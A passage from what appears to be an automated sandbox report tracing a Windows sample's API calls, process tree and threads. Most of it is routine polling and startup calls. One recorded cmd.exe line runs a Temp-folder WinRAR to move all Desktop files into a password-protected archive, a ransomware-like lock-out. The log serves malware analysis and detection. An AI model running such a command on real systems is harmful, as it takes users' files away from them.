SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x15998) returned 0x0 [0116.149] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0119.215] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x15958) returned 0x0 [0119.217] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0122.251] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x15958) returned 0x0 [0122.254] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0125.315] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x15420) returned 0x0 [0125.316] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0128.319] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x15468) returned 0x0 [0128.321] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0131.350] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x153e8) returned 0x0 [0131.354] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0134.382] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x152e8) returned 0x0 [0134.384] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0137.397] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x15590) returned 0x0 [0137.399] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0140.414] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x153d0) returned 0x0 [0140.417] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0143.435] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14dc0) returned 0x0 [0143.436] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0146.446] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14dc0) returned 0x0 [0146.448] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0149.460] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14dc0) returned 0x0 [0149.464] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0152.475] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14d80) returned 0x0 [0152.477] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0155.491] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14cc0) returned 0x0 [0155.500] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0158.507] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14c00) returned 0x0 [0158.514] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0161.522] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14bc0) returned 0x0 [0161.523] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0164.542] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14b80) returned 0x0 [0164.545] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0167.557] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14f68) returned 0x0 [0167.561] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0170.569] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x148c8) returned 0x0 [0170.570] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0173.585] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14848) returned 0x0 [0173.587] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0176.607] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14848) returned 0x0 [0176.610] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0179.616] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14888) returned 0x0 [0179.618] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0182.632] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14848) returned 0x0 [0182.634] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0185.651] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14848) returned 0x0 [0185.654] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0188.663] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14808) returned 0x0 [0188.664] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0191.682] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14808) returned 0x0 [0191.684] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0194.694] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x147c8) returned 0x0 [0194.697] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0197.725] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14788) returned 0x0 [0197.728] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0200.741] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14748) returned 0x0 [0200.743] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0203.757] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14748) returned 0x0 [0203.760] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0206.774] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14748) returned 0x0 [0206.775] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0209.788] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14748) returned 0x0 [0209.790] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0212.808] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14648) returned 0x0 [0212.811] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0215.824] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14608) returned 0x0 [0215.825] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0218.835] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14648) returned 0x0 [0218.837] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0221.850] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14688) returned 0x0 [0221.853] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0224.866] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14688) returned 0x0 [0224.867] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0227.884] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14308) returned 0x0 [0227.886] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0230.897] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x13f18) returned 0x0 [0230.900] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0233.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x13ed8) returned 0x0 [0233.915] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0236.931] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x13f18) returned 0x0 [0236.933] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0239.944] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x13fd8) returned 0x0 [0239.947] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0242.960] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x14198) returned 0x0 [0242.963] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0246.070] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x13c38) returned 0x0 [0246.175] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0249.180] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x13910) returned 0x0 [0249.183] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0252.194] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x13910) returned 0x0 [0252.195] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0255.244] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x13910) returned 0x0 [0255.246] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0258.257] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x13910) returned 0x0 [0258.260] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0261.272] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x13910) returned 0x0 [0261.273] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0264.288] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x13910) returned 0x0 [0264.291] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0267.303] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x13890) returned 0x0 [0267.306] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0270.319] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x13890) returned 0x0 [0270.320] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) returned 0x0 [0273.335] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x44b33f0, Length=0x230a0, ResultLength=0x73e614 | out: SystemInformation=0x44b33f0, ResultLength=0x73e614*=0x13890) returned 0x0 [0273.337] SleepEx (dwMilliseconds=0xbb8, bAlertable=1) Thread: id = 2 os_tid = 0x4f0 Thread: id = 3 os_tid = 0x60 Thread: id = 4 os_tid = 0xb6c [0033.486] CoGetContextToken (in: pToken=0x463f824 | out: pToken=0x463f824) returned 0x800401f0 [0033.486] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0033.486] RoInitialize () returned 0x1 [0033.486] RoUninitialize () returned 0x0 [0039.896] CloseHandle (hObject=0x2e0) returned 1 [0039.896] CloseHandle (hObject=0x2d4) returned 1 [0039.896] CloseHandle (hObject=0x2e4) returned 1 [0039.896] CloseHandle (hObject=0xe4) returned 1 [0039.896] CloseHandle (hObject=0x2dc) returned 1 [0039.896] CloseHandle (hObject=0x2e8) returned 1 [0039.896] CloseHandle (hObject=0x2d8) returned 1 [0039.897] CloseHandle (hObject=0x2cc) returned 1 Thread: id = 5 os_tid = 0xf50 Thread: id = 6 os_tid = 0xbec [0060.133] CoGetContextToken (in: pToken=0x666fbec | out: pToken=0x666fbec) returned 0x0 [0060.133] CObjectContext::QueryInterface () returned 0x0 [0060.133] CObjectContext::GetCurrentThreadType () returned 0x0 [0060.133] Release () returned 0x0 Thread: id = 7 os_tid = 0x490 Thread: id = 8 os_tid = 0x260 Thread: id = 9 os_tid = 0x8f0 Thread: id = 10 os_tid = 0x1a4 Thread: id = 11 os_tid = 0x2d0 Thread: id = 12 os_tid = 0x3cc Process: id = "2" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x49d1f000" os_pid = "0x5f0" os_integrity_level = "0x4000" os_privileges = "0x260814080" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0xe64" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k appmodel" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EntAppSvc" [0xa], "NT SERVICE\\StateRepository" [0xe], "NT SERVICE\\tiledatamodelsvc" [0xa], "NT SERVICE\\WalletService" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000fac7" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 13 os_tid = 0xa2c Thread: id = 14 os_tid = 0xa14 Thread: id = 15 os_tid = 0x8dc Thread: id = 16 os_tid = 0x8d4 Thread: id = 17 os_tid = 0x520 Thread: id = 18 os_tid = 0x67c Thread: id = 19 os_tid = 0x678 Thread: id = 20 os_tid = 0x644 Thread: id = 21 os_tid = 0x640 Thread: id = 22 os_tid = 0x63c Thread: id = 23 os_tid = 0x5f4 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x3bfa7000" os_pid = "0xf00" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xe64" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C cd C:\\Users\\FD1HVy\\Desktop && C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 24 os_tid = 0x384 [0055.603] GetModuleHandleA (lpModuleName=0x0) returned 0x8e0000 [0055.603] __set_app_type (_Type=0x1) [0055.603] __p__fmode () returned 0x77ae3c14 [0055.603] __p__commode () returned 0x77ae49ec [0055.603] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x8f6fd0) returned 0x0 [0055.604] __getmainargs (in: _Argc=0x90d1a4, _Argv=0x90d1a8, _Env=0x90d1ac, _DoWildCard=0, _StartInfo=0x90d1b8 | out: _Argc=0x90d1a4, _Argv=0x90d1a8, _Env=0x90d1ac) returned 0 [0055.604] _onexit (_Func=0x8f8030) returned 0x8f8030 [0055.604] _onexit (_Func=0x8f8040) returned 0x8f8040 [0055.604] _onexit (_Func=0x8f8050) returned 0x8f8050 [0055.604] _onexit (_Func=0x8f8060) returned 0x8f8060 [0055.604] _onexit (_Func=0x8f8070) returned 0x8f8070 [0055.605] _onexit (_Func=0x8f8080) returned 0x8f8080 [0055.605] GetCurrentThreadId () returned 0x384 [0055.605] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x384) returned 0xbc [0055.605] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75e90000 [0055.605] GetProcAddress (hModule=0x75e90000, lpProcName="SetThreadUILanguage") returned 0x75ea4f70 [0055.606] SetThreadUILanguage (LangId=0x0) returned 0x4e0409 [0055.738] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0055.738] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x6ffc9c | out: phkResult=0x6ffc9c*=0x0) returned 0x2 [0055.738] VirtualQuery (in: lpAddress=0x6ffca7, lpBuffer=0x6ffc54, dwLength=0x1c | out: lpBuffer=0x6ffc54*(BaseAddress=0x6ff000, AllocationBase=0x600000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0055.738] VirtualQuery (in: lpAddress=0x600000, lpBuffer=0x6ffc54, dwLength=0x1c | out: lpBuffer=0x6ffc54*(BaseAddress=0x600000, AllocationBase=0x600000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0055.738] VirtualQuery (in: lpAddress=0x601000, lpBuffer=0x6ffc54, dwLength=0x1c | out: lpBuffer=0x6ffc54*(BaseAddress=0x601000, AllocationBase=0x600000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0055.738] VirtualQuery (in: lpAddress=0x603000, lpBuffer=0x6ffc54, dwLength=0x1c | out: lpBuffer=0x6ffc54*(BaseAddress=0x603000, AllocationBase=0x600000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0055.738] VirtualQuery (in: lpAddress=0x700000, lpBuffer=0x6ffc54, dwLength=0x1c | out: lpBuffer=0x6ffc54*(BaseAddress=0x700000, AllocationBase=0x700000, AllocationProtect=0x2, RegionSize=0xc5000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0055.738] GetConsoleOutputCP () returned 0x1b5 [0055.779] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x913850 | out: lpCPInfo=0x913850) returned 1 [0055.779] SetConsoleCtrlHandler (HandlerRoutine=0x907260, Add=1) returned 1 [0055.779] _get_osfhandle (_FileHandle=1) returned 0x90 [0055.779] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x91388c | out: lpMode=0x91388c) returned 1 [0055.871] _get_osfhandle (_FileHandle=0) returned 0x8c [0055.871] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0x913888 | out: lpMode=0x913888) returned 1 [0055.895] _get_osfhandle (_FileHandle=1) returned 0x90 [0055.895] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x0) returned 1 [0055.928] _get_osfhandle (_FileHandle=1) returned 0x90 [0055.928] GetConsoleMode (in: hConsoleHandle=0x90, lpMode=0x913890 | out: lpMode=0x913890) returned 1 [0055.956] _get_osfhandle (_FileHandle=1) returned 0x90 [0055.956] SetConsoleMode (hConsoleHandle=0x90, dwMode=0x7) returned 1 [0055.971] _get_osfhandle (_FileHandle=0) returned 0x8c [0055.971] GetConsoleMode (in: hConsoleHandle=0x8c, lpMode=0x913894 | out: lpMode=0x913894) returned 1 [0055.977] _get_osfhandle (_FileHandle=0) returned 0x8c [0055.977] SetConsoleMode (hConsoleHandle=0x8c, dwMode=0x1e7) returned 1 [0055.997] GetEnvironmentStringsW () returned 0x2a64c90* [0055.997] GetProcessHeap () returned 0x2a60000 [0055.997] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0xaca) returned 0x2a65768 [0055.997] FreeEnvironmentStringsA (penv="A") returned 1 [0055.997] GetProcessHeap () returned 0x2a60000 [0055.997] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0x4) returned 0x2a64770 [0055.997] GetEnvironmentStringsW () returned 0x2a64c90* [0055.997] GetProcessHeap () returned 0x2a60000 [0055.997] RtlAllocateHeap (HeapHandle=0x2a60000, Flags=0x8, Size=0xaca) returned 0x2a66240 [0055.997] FreeEnvironmentStringsA (penv="A") returned 1 [0055.997] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x6febf8 | out: phkResult=0x6febf8*=0xcc) returned 0x0 [0055.997] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x6fec00, lpData=0x6fec04, lpcbData=0x6febfc*=0x1000 | out: lpType=0x6fec00*=0x0, lpData=0x6fec04*=0x88, lpcbData=0x6febfc*=0x1000) returned 0x2 [0055.997] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x6fec00, lpData=0x6fec04, lpcbData=0x6febfc*=0x1000 | out: lpType=0x6fec00*=0x4, lpData=0x6fec04*=0x1, lpcbData=0x6febfc*=0x4) returned 0x0 [0055.997] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x6fec00, lpData=0x6fec04, lpcbData=0x6febfc*=0x1000 | out: lpType=0x6fec00*=0x0, lpData=0x6fec04*=0x1, lpcbData=0x6febfc*=0x1000) returned 0x2 [0055.997] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x6fec00, lpData=0x6fec04, lpcbData=0x6febfc*=0x1000 | out: lpType=0x6fec00*=0x4, lpData=0x6fec04*=0x0, lpcbData=0x6febfc*=0x4) returned 0x0 [0055.997] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x6fec00, lpData=0x6fec04, lpcbData=0x6febfc*=0x1000 | out: lpType=0x6fec00*=0x4, lpData=0x6fec04*=0x40, lpcbData=0x6febfc*=0x4) returned 0x0 [0055.998] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x6fec00, lpData=0x6fec04, lpcbData=0x6febfc*=0x1000 | out: lpType=0x6fec00*=0x4, lpData=0x6fec04*=0x40, lpcbData=0x6febfc*=0x4) returned 0x0 [0055.998] RegQueryValueExW (in: hKey=0xcc, lpValueName="AutoRun", lpReserved=0x0, lpType=0x6fec00, lpData=0x6fec04, lpcbData=0x6febfc*=0x1000 | out: lpType=0x6fec00*=0x0, lpData=0x6fec04*=0x40, lpcbData=0x6febfc*=0x1000) returned 0x2 [0055.998] RegCloseKey (hKey=0xcc) returned 0x0 [0055.998] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x6febf8 | out: phkResult=0x6febf8*=0xcc) returned 0x0 [0055.998] RegQueryValueExW (in: hKey=0xcc, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x6fec00, lpData=0x6fec04, lpcbData=0x6febfc*=0x1000 | out: lpType=0x6fec00*=0x0, lpData=0x6fec04*=0x40, lpcbData=0x6febfc*=0x1000) returned 0x2 [0055.998] RegQueryValueExW (in: hKey=0xcc, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x6fec00, lpData=0x6fec04, lpcbData=0x6febfc*=0x1000 | out: lpType=0x6fec00*=0x4, lpData=0x6fec04*=0x1, lpcbData=0x6febfc*=0x4) returned 0x0 [0055.998] RegQueryValueExW (in: hKey=0xcc, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x6fec00, lpData=0x6fec04, lpcbData=0x6febfc*=0x1000 | out: lpType=0x6fec00*=0x0, lpData=0x6fec04*=0x1, lpcbData=0x6febfc*=0x1000) returned 0x2 [0055.998] RegQueryValueExW (in: hKey=0xcc, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x6fec00, lpData=0x6fec04, lpcbData=0x6febfc*=0x1000 | out: lpType=0x6fec00*=0x4, lpData=0x6fec04*=0x0, lpcbData=0x6febfc*=0x4) returned 0x0 [0055.998] RegQueryValueExW (in: hKey=0xcc, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x6fec00, lpData=0x6fec04, lpcbData=0x6febfc*=0x1000 | out: lpType=0x6fec00*=0x4, lpData=0x6fec04*=0x9, lpcbData=0x6febfc*=0x4) returned 0x0 [0055.998] RegQueryValueExW (in: hKey=0xcc, lpValueName="PathCompletionChar", 